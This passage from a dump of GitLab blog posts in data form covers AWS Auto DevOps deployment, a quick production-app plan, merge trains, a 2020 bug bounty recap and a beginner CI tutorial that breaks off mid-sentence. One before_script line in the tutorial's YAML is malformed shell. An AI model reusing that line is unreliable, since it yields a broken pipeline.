cluster. Click the link to read instructions about [how to deploy an application to a GitLab-managed Amazon EKS cluster with Auto DevOps](/blog/deploying-application-eks/#:~:text=The%20Auto%20DevOps%20function%20at,build%2C%20and%20deploy%20your%20application).\n\nWe also expanded Auto DevOps to support non-Kubernetes users. Users can specify their deployment target by adding the `AUTO_DEVOPS_PLATFORM_TARGET` variable under the CI/CD variables settings. Specifying the deployment target platform builds a full CI/CD pipeline that deploys to AWS targets.\n\nWe currently support:\n\n- `AUTO_DEVOPS_PLATFORM_TARGET: ECS` (added in GitLab 13.0)\n- `AUTO_DEVOPS_PLATFORM_TARGET: FARGATE` (added in GitLab 13.2)\n- `AUTO_DEVOPS_PLATFORM_TARGET: EC2` (added in GitLab 13.6)\n\nFor more information about Auto DevOps for AWS targets, see [requirements for Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/requirements.html) documentation.\n\nHere's a quick recording for how to use Auto Deploy to Amazon ECS:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/HzRhLLFlAos\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nSpeed run on how to use auto deploy to EC2 (animation):\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/rVr-vZfNL6U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## AWS Deployment: Future plans to extend deployment support via GitLab\n\nCheck out some of the open issues below to see our plans are for the future of deploying to AWS using GitLab.\n\n- [Show AWS deployment success code in logs](https://gitlab.com/gitlab-org/gitlab/-/issues/215333): This will bring the success/failure codes from AWS into your GitLab pipeline logs, allowing you to see the deployment success code without needing to go into the AWS console to retrieve the logs.\n- [Show AWS deployment success code in pipeline view](https://gitlab.com/gitlab-org/gitlab/-/issues/232983): This will bring the success/failure codes from AWS into your GitLab pipeline, allowing you to see if the deployment job was successful in one view.\n- [Auto Deploy to AWS S3](https://gitlab.com/gitlab-org/gitlab/-/issues/219087): This will expand the supported deployment targets covered in this blog to include [S3 buckets](https://aws.amazon.com/s3/) as well.\n- [AWS integration per-environment role management](https://gitlab.com/gitlab-org/gitlab/-/issues/27107): This returns a set of temporary security credentials you can use to access AWS resources that you normally might not be able to access. This is accomplished by using the [AWS IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html) roles.\n\n## More material on deploying to EKS and Lambda\n\n- [Demo of how to deploy to EKS](https://docs.google.com/presentation/d/1iXnB6lvTx2_-_0ASElLUDZwyFPWILCRx54XjJkMFuw0/edit#slide=id.g6bb36a7017_2_42).\n- [Whitepaper on how to deploy on AWS from GitLab](/resources/whitepaper-deploy-aws-gitlab/).\n\nWe invite you to contribute to our other cloud provider solutions:\n\n- [Streamline GCP deployments](https://gitlab.com/groups/gitlab-org/-/epics/2706).\n- [Streamline Azure deployments](https://gitlab.com/groups/gitlab-org/-/epics/4846).\n\nAt GitLab, [everyone can contribute](/company/strategy/#contribute-with-gitlab). If you want to deploy to a target that isn't mentioned in this post, please let us know by adding an issue and linking it to our [Natively support hypercloud deployments](https://gitlab.com/groups/gitlab-org/-/epics/1804) epic.\n\nCover image by [SpaceX](https://unsplash.com/photos/uj3hvdfQujI) on [Unsplash](https://www.unsplash.com)\n",[3949,4103,1384,1385],{"slug":20382,"featured":6,"template":678},"deploy-aws","content:en-us:blog:deploy-aws.yml","Deploy Aws","en-us/blog/deploy-aws.yml","en-us/blog/deploy-aws",{"_path":20388,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20389,"content":20395,"config":20399,"_id":20401,"_type":16,"title":20402,"_source":17,"_file":20403,"_stem":20404,"_extension":20},"/en-us/blog/first-code-to-ci-cd-deployments-in-5-minutes",{"title":20390,"description":20391,"ogTitle":20390,"ogDescription":20391,"noIndex":6,"ogImage":20392,"ogUrl":20393,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20393,"schema":20394},"A journey from the first code to CI/CD deployments in 5 minutes?","From writing, building, and testing code to reviewing, releasing, and deploying in 5 minutes. Is this possible? Learn which hurdles you might encounter and how to solve them. Spoiler: Without Kubernetes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665823/Blog/Hero%20Images/snow-speed-unsplash.jpg","https://about.gitlab.com/blog/first-code-to-ci-cd-deployments-in-5-minutes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A journey from the first code to CI/CD deployments in 5 minutes?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2020-12-15\",\n      }",{"title":20390,"description":20391,"authors":20396,"heroImage":20392,"date":20360,"body":20397,"category":18484,"tags":20398},[4808],"\n{::options parse_block_html=\"true\" /}\n\nSoftware architecture and [DevOps](/topics/devops/) strategies are hard. Trust me, I know from experience. In my previous role, I was involved in \"all the things\" relating to our DevOps lifecycle, and we faced issues with everything from [continuous deployment (CD)](/topics/ci-cd/) to database management to implementing microservices.\n\nDo any of these scenarios sound familiar?\n\n- We want to adopt microservices but our application is not ready.\n- We know Kubernetes and containers are awesome but we cannot figure out how to get started.\n- We want to do CD but we are still doing manual deployments.\n\nIf you are facing one of these situations, you are not alone. I have lived through them in past roles and now spend my days talking to and helping folks across the industry who are facing these problems (and worse). These common problems lead to a larger conversation at GitLab: Why does it take 20 minutes or more to create a production app in 2020?\n\nThis question is why we challenged ourselves (okay, it's why Sid challenged us) to create a 5 minute production app. The goal is to get from having a free AWS account to a Rails/Node production app with a persistent [serverless](/topics/serverless/) database, Auto DevOps, Single Sign-On (SSO), Redis, object storage, and email in 5 minutes using only the GitLab UI.\n\nOur vision for the 5 minute production app is to provide everyone with a pathway to efficient deployments by minimizing infrastructure dependencies. This builds on learned lessons from [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) and [Infrastructure as Code with Terraform](https://docs.gitlab.com/ee/user/infrastructure/) (for example, by removing the requirement for Kubernetes).\n\n### Common problems\n\n#### Kubernetes and microservices\n\nKubernetes and containers can be overwhelming. The value they add comes with increased levels of complexity. Similarly, microservices can improve efficiency and high availability but they may not fit for all application architectures. Large rewrites might be necessary to take advantage of the benefits they provide.\n\nHeroku and Cloud Native Build Packs are a great way to automate Docker image creation with all dependencies but not all use cases are covered. When these deployments break, debugging can be hard without in-depth knowledge of the components. Defining and maintaining the dependencies in the build process by yourself can help, for example in your own Docker container group using the [GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/).\n\n#### Backend requirements\n\nA web application can have a stateful backend where it stores persistent data. This can be a file on disk, a database server or an object storage in the cloud. The stored data can be user settings, inputs into web forms and generated content for example.\n\nDepending on the programming language, the interaction with the backend can get complex. A database client library is required to communicate with a PostgreSQL server. The database schema needs to be initialised, and future changes require incremential schema updates. The schema update migrations can be automated by the application. This requires client libraries providing this functionality. Ruby on Rails uses rake db tasks while it can get more complicated with PHP.\n\nThe database server needs to be running in order for the web application to work. This can happen on the same host, a central database cluster, or a cloud service such as Amazon Aurora. Someone must be responsible for keeping the server running, monitoring it, and managing software updates.\n\nAll backend solutions require maintenance. As a developer, you want to have these steps automated and abstracted. Your code communicates with the backend interfaces as a blackbox, expecting them to be healthy and operational when the application starts.\n\n### Path to resolution\n\n#### Deploy and run the application\n\nThe production environment for a basic web application requires the following steps:\n\n- Start/Detect the database server or service\n- Initialize/Migrate the database schema\n- Start the web application\n- Schedule periodic health checks and add performance monitoring\n\nIn addition to the boot steps, these web applications can depend on additional libraries and packages. Common best practice is to define them in the programming language's package dependency manager, for example `requirements.txt` with Python, or `Gemfile` with Ruby. The software deployment process evolved over the years with packaging the application into container images, containing the application and all dependencies. The CI/CD jobs do not need to add any extra steps for software installation. As a developer, you don’t care about the OS or distribution where the application is deployed.\n\n#### Choose your stack\n\nThe decision to choose the \"right\" tools for the job can be hard. It helps to define the required steps and map them onto existing functionality provided by GitLab:\n\n- Provision a new virtual machine\n- Define the state with Infrastructure as Code\n- Build and deploy the application\n- Run the application\n\nWe have decided start with AWS as a deployment scenario:\n\n- Ask for AWS credentials for EC2\n- Run Terraform and provision the VM\n- Create AWS Aurora RDS as PostgreSQL backend\n- Install application package dependencies into a container image\n- Pull the image on the host\n- Run and monitor the application\n\nThis process involves lots of steps, requiring different tools and frameworks. After all those years, isn’t there a ready-to-use workflow to abstract this and have everything automatically deployed?\n\n### How we settled on the stack for the 5 min production app\n\n1. AWS: Biggest cloud\n2. Terraform: Most popular infrastructure provisioning\n3. Auto DevOps: Same direction\n\nWe have refined the decisions during the implementation of the deployment process. The first iteration attempted to work without container images. This resulted in having many different ways to distribute and install software. We decided to take one step back and use container images to build the web application as package. The GitLab container registry works as package repository. The container image is pulled and run on the deployed host.\n\nAWS provides Aurora RDS as serverless PostgreSQL database service. We decided to use an existing service in the first iteration, and evaluate database instance management in the future. Terraform as deployment provisioner allows us to build on the foundation from our [Infrastructure as Code integration](https://docs.gitlab.com/ee/user/infrastructure/). The first apps are written in Ruby on Rails and [Python](https://gitlab.com/gitlab-de/5-min-prod-app-python-web), we are planning with more to come soon.\n\n![GitLab CI/CD pipeline deployment](https://about.gitlab.com/images/blogimages/5-min-prod-app/gitlab_cicd_pipeline_deployed.png){: .shadow.medium.center}\n\n![AWS EC2 view](https://about.gitlab.com/images/blogimages/5-min-prod-app/aws_ec2_view.png){: .shadow.medium.center}\n\nOur vision for the 5 minute production app flow:\n\n1. Go to GitLab.com.\n2. Sign in with your AWS account.\n3. New Project.\n4. Rails/Node/etc. template.\n5. Write some code and create a merge request.\n6. Get a review app and test results in the MR.\n7. Merge the MR.\n8. Automatically deployed to production.\n9. Share URL of production app with a friend.\n10. Production app has a persistent state and can reset passwords via email (DB, s3, redis, mail) and provides the full Auto DevOps features (Monitoring, etc.).\n11. No manual steps for setting up DB, s3, redis, mail. Terraform takes care of automated setup.\n12. All within AWS in the free tier.\n13. No command line or terminal required, everything accessible in the GitLab UI.\n\n### What comes next\n\nThe next iterations include more scenarios and questions:\n\n- Domain and SSL support\n- Review environments and rollbacks\n- Python web application with database migrations\n- NodeJS app with a PostgreSQL backend\n- Support for more cloud providers and local deployments\n- Decoupled database server management\n\nThe deployment template will soon be [merged into GitLab Core](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49487). This is great news for everyone joining us for feedback and tests. Let us know what you think, and follow our progress with these resources:\n\n- [Issue Board](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/boards)\n- [Recordings on YouTube](https://www.youtube.com/playlist?list=PL05JrBw4t0Krf0LZbfg80yo08DW1c3C36)\n- [Deploy Template project](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template)\n\nCover image by [Nicolas J Leclercq](https://unsplash.com/@nicolasjleclercq?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/speed-snow)\n",[1384,1385,267],{"slug":20400,"featured":6,"template":678},"first-code-to-ci-cd-deployments-in-5-minutes","content:en-us:blog:first-code-to-ci-cd-deployments-in-5-minutes.yml","First Code To Ci Cd Deployments In 5 Minutes","en-us/blog/first-code-to-ci-cd-deployments-in-5-minutes.yml","en-us/blog/first-code-to-ci-cd-deployments-in-5-minutes",{"_path":20406,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20407,"content":20413,"config":20418,"_id":20420,"_type":16,"title":20421,"_source":17,"_file":20422,"_stem":20423,"_extension":20},"/en-us/blog/merge-trains-explained",{"title":20408,"description":20409,"ogTitle":20408,"ogDescription":20409,"noIndex":6,"ogImage":20410,"ogUrl":20411,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20411,"schema":20412},"How to use merge train pipelines with GitLab","Read here an introduction on what merge trains are, how to use them and how to incorporate them to your GitLab project.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667210/Blog/Hero%20Images/merge-train-explained-banner.jpg","https://about.gitlab.com/blog/merge-trains-explained","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use merge train pipelines with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2020-12-14\",\n      }",{"title":20408,"description":20409,"authors":20414,"heroImage":20410,"date":20415,"body":20416,"category":734,"tags":20417},[5114],"2020-12-14","This blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-01-20.\n{: .alert .alert-info .note}\n\n[Merge trains](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html) is a powerful GitLab feature that empowers users to harness the potential of [pipelines for merge results](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) to the fullest and also automatically merge a series of (queued) merge requests (MRs) without breaking the target branch. However, due to the structural complexity of the concept, users are often unable to use it effectively for their projects and play it safe by restricting their usage to MRs that pose minimum or no conflict with the target branch.\n\nAs a [senior product designer for Continuous Integration (CI)](/company/team/#veethikaa), I often deconstruct certain concepts and logic for features related to CI so that I have a strong foundation of understanding when making design proposals. Recently, I had a chance to hold a discussion around a very interesting feature - merge trains — with the team. This post unpacks the concept of merge trains by explaining the difference between merge trains, pipelines for MRs, and pipelines for merge results.\n\n## Pipelines for merge requests\n\nGenerally, when a new merge request is created, a pipeline runs to check if the new changes are eligible to be merged to the target branch. This is called the pipeline for merge requests (MRs). A good practice is to only keep the necessary jobs for validating the changes at this step, so the pipeline doesn’t take a long time to complete and CI minutes are not overused. GitLab allows users to [configure the pipeline for MRs](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) by adding `rules:if: $CI_MERGE_REQUEST_IID` to the jobs they wish to run for MRs.\n\n![Pipeline for merge request](https://about.gitlab.com/images/blogimages/merge-train-explained-pipeline-for-merge-requests.jpg)\n\n### Pipelines for merge results\n\nMerge request pipelines verify the branch in isolation. The target branch may change several times during the lifetime of the MR, and these changes are not taken into consideration. In the time during which the pipeline for the MR runs (and succeeds), if the target branch progresses in the background and a user merges the changes to the target branch, they might eventually end up with a broken target.\n\nWhen a [pipeline for merge results](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) runs, GitLab CI performs a _pretend_ merge against the updated target branch by creating a commit on an internal ref from the source branch, and then runs a pipeline against it. This pipeline validates the result prior to merging, therefore increasing the chances of keeping the target branch green.\n\n![Pipeline for merge results](https://about.gitlab.com/images/blogimages/merge-train-explained-pipeline-for-merge-results.jpg)\n\nWe should keep in mind that this pipeline does not run automatically with every update to the target branch. To learn more about this feature in detail and understand the process of enabling it in your GitLab instance, you can refer to the [official documentation on merge results](https://docs.gitlab.com/ee/ci/pipelines/merged_results_pipelines.html).\n\nHowever, if a long time has passed since the last successful pipeline ran, by the time the MR is ready to be merged, the target branch may have already changed and advanced. If we go ahead and merge your MR without re-running the pipeline for MRs, we could end up with a broken target branch. Merge trains can prevent this from happening.\n\n### About merge trains\n\nPipeline for merge results is an extremely useful feature in itself, but tracking the right slot to merge the feature branch into the target and remembering to run the pipeline manually before doing so is a lot to expect from a developer buried in tasks that involve deep logical thinking.\n\nTo tackle this complexity in workflow, GitLab introduced [the merge trains feature](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html) in [GitLab Premium 12.0](/releases/2019/06/22/gitlab-12-0-released/#sequential-merge-trains). Merge trains allow users to capitalize on the capabilities of pipelines for merge results to automate the process of merging to the target branch with minimum chances of breaking it.\n\nWith merge trains enabled, a merge request can be added to the train, which takes care of it until merged.\nA merge train can be imagined as a queue of MRs that is automatically managed for you.\n\n#### How do merge trains work?\n\nWhen users queue up their MRs in a merge train, GitLab performs a pretend merge for each source branch on top of the previous branch in the queue, where the first branch on the train is merged against the target branch.\nBy creating a temporary commit for each of these merges, GitLab can run merged result pipelines.\nThe first MR in the queue, after having a successful pipeline run for MRs, gets merged to the target branch.\n\nEvery time a merge request is merged into the target branch, the pipelines for the newly added MRs in the train would run against the target branch and the newly added changes from the recently merged MR and changes that are from MRs already in the train.\n\n![Pipeline for merge results](https://about.gitlab.com/images/blogimages/merge-train-explained-working.gif)\n\nMerge trains carry an immense possibility for innovation with GitLab as a toolchain. But to be able to build upon the concept, it is imperative to have a holistic understanding of the same at the system level.\n\nHopefully, this post does the job of breaking down the concept into layman's terms, thereby opening doors for future collaboration within [stage groups](/handbook/product/categories/) at GitLab.\n\nHave suggestions around improving merge trains? please leave your thoughts on this [epic](https://gitlab.com/groups/gitlab-org/-/epics/5122).\n",[1384,1385,754,4103,676],{"slug":20419,"featured":6,"template":678},"merge-trains-explained","content:en-us:blog:merge-trains-explained.yml","Merge Trains Explained","en-us/blog/merge-trains-explained.yml","en-us/blog/merge-trains-explained",{"_path":20425,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20426,"content":20432,"config":20436,"_id":20438,"_type":16,"title":20439,"_source":17,"_file":20440,"_stem":20441,"_extension":20},"/en-us/blog/twenty-twenty-through-a-bug-bounty-lens",{"title":20427,"description":20428,"ogTitle":20427,"ogDescription":20428,"noIndex":6,"ogImage":20429,"ogUrl":20430,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20430,"schema":20431},"2020 through a bug bounty lens","We take a look back at the year in bugs and bounties and celebrate the reporters and contributions that make us more secure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671018/Blog/Hero%20Images/gitlab-security-blog-cover_3.png","https://about.gitlab.com/blog/twenty-twenty-through-a-bug-bounty-lens","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2020 through a bug bounty lens\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-12-14\",\n      }",{"title":20427,"description":20428,"authors":20433,"heroImage":20429,"date":20415,"body":20434,"category":674,"tags":20435},[12307],"\n\nWhat a long, strange trip 2020 has been. It started with hitting the [million dollar bounties paid milestone](/blog/celebrating-one-million-bug-bounties-paid/) in our [HackerOne program](https://hackerone.com/gitlab), appearing at #6 on [HackerOne’s 2020 Top Ten Public Bug Bounties program list](https://www.hackerone.com/resources/e-book/top-10-bounty-programs-2020) (up from our #10 spot from [2019](https://www.hackerone.com/resources/responsible-disclosure-program/top-20-public-bug-bounty-programs)) and having our approach to security and bug bounty program featured in this HackerOne [customer story](https://www.hackerone.com/resources/gitlab/gitlabs-approach-to-security). And then, \u003Crecord scratch>  like many across the globe, our year both screeched to a halt and raged on, as we all moved forward the best that we possibly could throughout a tumultuous year with a ton of eye-opening and unbelievable global happenings spanning the realm of those we’d soon forget, to those we can and should learn and grow from.\n\nOne thing remained a constant though: The awesomely talented security researchers who submit to our program kept finding small bugs and big bugs, and our teams kept on triaging, testing, and fixing them.\n\nWe’re ending 2020 with a look back at our bug bounty program and the people who have made it a success by making our product and company more secure: our bug bounty researchers!\n\n## 2020 by the numbers\n\n**This year we:**\n* Received a total of 1,070 reports from 505 security researchers\n* Awarded a total of $380,800 USD in bounties to 62 different researchers reporting valid vulnerabilities\n* Resolved 259 reports and made 131 of those reports public.\n* Had 163 security researchers submit multiple reports, meaning their first engagement with us was a positive one.\n\n**Note:** Data pulled is accurate as of Dec. 7, 2020.\n{: .note}\n\n*Shout out to our Bug Bounty Program manager, [James Ritchey](/company/team/#jritchey) for providing these program stats.* 📣\n\n## Bug bounty program updates\n\nWe also rolled out a few new programs and initiatives to recognize and benefit contributors to our program.\n\n**This year, we:**\n* Reduced the time to bounty in our program from 90 days to 45 days max. We intend to continue iterating on this so that we can shorten this time frame further.\n* Started a new researcher-focused blog series, called (creatively), Ask a Hacker. See our first [blog feature](/blog/rpadovani-ask-a-hacker/) with [@rpadovani](https://hackerone.com/rpadovani?type=user). You can [check him out on GitLab too](https://gitlab.com/rpadovani).\n* Kicked off a new Ask Me Anything (AMA) series with some of our top bug bounty hunters. You can see our first [AMA with Riccardo Padovani here](https://youtu.be/SK_vuZCafZ4).\n* Began reporting our monthly program metrics and give shout-outs to the months’ high earners or critical bug contributors! See [the metrics we reported out last month](https://twitter.com/gitlab/status/1330892872808271873).\n\nTogether, we are stronger 💪.\n\nNow, onto the really good stuff. We’re excited to announce the winners of our hacking contest, which commemorates our [second year as a public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/). 🎉 🥁 🐛\n\nWe announced a [bug bounty contest](/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest/#celebrating-great-reports-and-great-reporters) in October and received 138 reports from 87 different individuals between October 1 and November 30, and 55 of them were from new reporters!\n\nThanks to all who contributed! 🙌\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-gift\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Congratulations to these 5 contest winners \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center}\n\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Congratulations to [@vaib25vicky](https://hackerone.com/vaib25vicky) who was the frontrunner for reputation points this period.\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Congratulations to [@fsky](https://hackerone.com/fsky) who clinched the highest reputation score of any new reporter to our program.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i>  **Best written report.**  Congratulations to [@afewgoats](http://hackerone.com/afewgoats), your DoS report outlined multiple attack scenarios, provided us with a cool script to reproduce, and was clever and well written!\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.**  Congratulations to [@anshraj_srivastava](https://hackerone.com/anshraj_srivastava), your discovery surrounding private repositories was a first of its kind in our program.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.**  Congratulations [@ledz1996](https://hackerone.com/ledz1996), your report on stealing an API OAuth token was eye-opening and innovative.\n{: #id-rocket}\n\n*Since it is [GitLab’s policy](https://hackerone.com/gitlab#disclosure) to share details via public GitLab.com issue 30 days after releasing a fix, more details surrounding the research from the best written report, most innovative report, and most impactful finding category winners will be released in future [security release blog posts](/releases/categories/releases/).*\n\n### We cannot wait to send you one of these:\n\n![custom GitLab Mechanical Keyboard](https://about.gitlab.com/images/blogimages/2020-bugbountykeyboard.png){: .shadow.medium.center}\nThis Tanuki-powered Code V3 with *gold-plated cherry mx brown switches* will light up your hackety hack.\n{: .note.text-center}\n\n\nWe know though, that 2020 has not been all cherry-plated switches. It's been a trying year for all of us, with plenty of graphs trending in all the wrong ways. There have been highlights though and this program has been a continued source of fresh, expert perspectives, aha moments and positive energy from the sheer skill and innovation the security researchers bring to our program. We’re grateful to have your continued contributions and partnership in making our product and company more secure. Here’s to a better 2021, together.\n\nHappy hacking,\n\nThe GitLab Security team\n",[674,1938],{"slug":20437,"featured":6,"template":678},"twenty-twenty-through-a-bug-bounty-lens","content:en-us:blog:twenty-twenty-through-a-bug-bounty-lens.yml","Twenty Twenty Through A Bug Bounty Lens","en-us/blog/twenty-twenty-through-a-bug-bounty-lens.yml","en-us/blog/twenty-twenty-through-a-bug-bounty-lens",{"_path":20443,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20444,"content":20449,"config":20455,"_id":20457,"_type":16,"title":20458,"_source":17,"_file":20459,"_stem":20460,"_extension":20},"/en-us/blog/basics-of-gitlab-ci-updated",{"title":20445,"description":20446,"ogTitle":20445,"ogDescription":20446,"noIndex":6,"ogImage":7013,"ogUrl":20447,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20447,"schema":20448},"Running CI jobs in sequential, parallel, and custom orders","New to continuous integration? Learn how to build your first CI pipeline with GitLab.","https://about.gitlab.com/blog/basics-of-gitlab-ci-updated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The basics of CI: How to run jobs sequentially, in parallel, or out of order\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2020-12-10\",\n      }",{"title":20450,"description":20446,"authors":20451,"heroImage":7013,"date":20452,"body":20453,"category":734,"tags":20454,"updatedDate":6214},"The basics of CI: How to run jobs sequentially, in parallel, or out of order",[691],"2020-12-10","Let's assume that you don't know anything about [continuous integration (CI)](/topics/ci-cd/) and [why it's needed](/blog/how-to-keep-up-with-ci-cd-best-practices/) in the software development lifecycle.\n\nImagine that you work on a project, where all the code consists of two text files. Moreover, it is super critical that the concatenation of these two files contains the phrase \"Hello, world.\"\n\nIf it's not there, the whole development team won't get paid that month. Yeah, it is that serious!\n\nThe most responsible software developer wrote a small script to run every time we are about to send our code to customers.\n\nThe code is pretty sophisticated:\n\n```bash\ncat file1.txt file2.txt | grep -q \"Hello world\"\n```\n\nThe problem is that there are 10 developers on the team, and, you know, human factors can hit hard.\n\nA week ago, a new guy forgot to run the script and three clients got broken builds. So you decided to solve the problem once and for all. Luckily, your code is already on GitLab, and you remember that there is [built-in CI](/solutions/continuous-integration/). Moreover, you heard at a conference that people use CI to run tests...\n\n## Let's run our first test inside CI\n\nAfter taking a couple of minutes to find and read the docs, it seems like all we need is these two lines of code in a file called `.gitlab-ci.yml`:\n\n```yaml\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n```\n\nWe commit it, and hooray! Our build is successful:\n\n![build succeeded](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/build_succeeded.png)\n\nLet's change \"world\" to \"Africa\" in the second file and check what happens:\n\n![build failed](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/build_failed.png)\n\nThe build fails as expected!\n\nOK, we now have automated tests here! GitLab CI will run our test script every time we push new code to the source code repository in the DevOps environment.\n\n**Note:** In the above example, we assume that file1.txt and file2.txt exist in the runner host.\n\nTo run this example in GitLab, use the below code that first will create the files and then run the script.\n\n```yaml\ntest:\nbefore_script:\n      - echo \"Hello \" > | tr -d \"\\n\" | > file1.txt\n      - echo \"world\" > file2.txt\nscript: cat file1.txt file2.txt | grep -q 'Hello world'\n```\n\nFor the sake of compactness, we will assume that these files exist in the host, and will not create them in the following examples.\n\n## Make results of builds downloadable\n\nThe next business requirement is to package the code before sending it to our customers. Let's automate that part of the software development process as well!\n\nAll we need to do is define another job for CI. Let's name the job \"package\":\n\n```yaml\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  script: cat file1.txt file2.txt | gzip > package.gz\n```\n\nWe have two tabs now:\n\n![Two tabs - generated from two jobs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/two_tabs.png)\n\nHowever, we forgot to specify that the new file is a build _artifact_, so that it could be downloaded. We can fix it by adding an `artifacts` section:\n\n```yaml\ntest:\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  script: cat file1.txt file2.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\nChecking... it is there:\n\n![Checking the download button](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/artifacts.png)\n\nPerfect, it is! However, we have a problem to fix: The jobs are running in parallel, but we do not want to package our application if our tests fail.\n\n## Run jobs sequentially\n\nWe only want to run the 'package' job if the tests are successful. Let's define the order by specifying `stages`:\n\n```yaml\nstages:\n  - test\n  - package\n\ntest:\n  stage: test\n  script: cat file1.txt file2.txt | grep -q 'Hello world'\n\npackage:\n  stage: package\n  script: cat file1.txt file2.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\nThat should be good!\n\nAlso, we forgot to mention, that compilation (which is represented by concatenation in our case) takes a while, so we don't want to run it twice. Let's define a separate step for it:\n\n```yaml\nstages:\n  - compile\n  - test\n  - package\n\ncompile:\n  stage: compile\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n\ntest:\n  stage: test\n  script: cat compiled.txt | grep -q 'Hello world'\n\npackage:\n  stage: package\n  script: cat compiled.txt | gzip > packaged.gz\n  artifacts:\n    paths:\n    - packaged.gz\n```\n\nLet's take a look at our artifacts:\n\n![Unnecessary artifact](https://about.gitlab.com/images/blogimages/the-basics-of-gitlab-ci/clean-artifacts.png)\n\nHmm, we do not need that \"compile\" file to be downloadable. Let's make our temporary artifacts expire by setting `expire_in` to '20 minutes':\n\n```yaml\ncompile:\n  stage: compile\n  script: cat file1.txt file2.txt > compiled.txt\n  artifacts:\n    paths:\n    - compiled.txt\n    expire_in: 20 minutes\n```\n\nNow our config looks pretty impressive:\n\n- We have three sequential stages to compile, test, and package our application.\n- We pass the compiled app to the next stages so that there's no need to run compilation twice (so it will run faster).\n- We store a packaged version of our app in build artifacts for further usage.\n\n## Learning which Docker image to use\n\nSo far, so good. However, it appears our builds are still slow. Let's take a look at the logs.\n\n![ruby3.1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/ruby-31.png)\n\nWait, what is this? Ruby 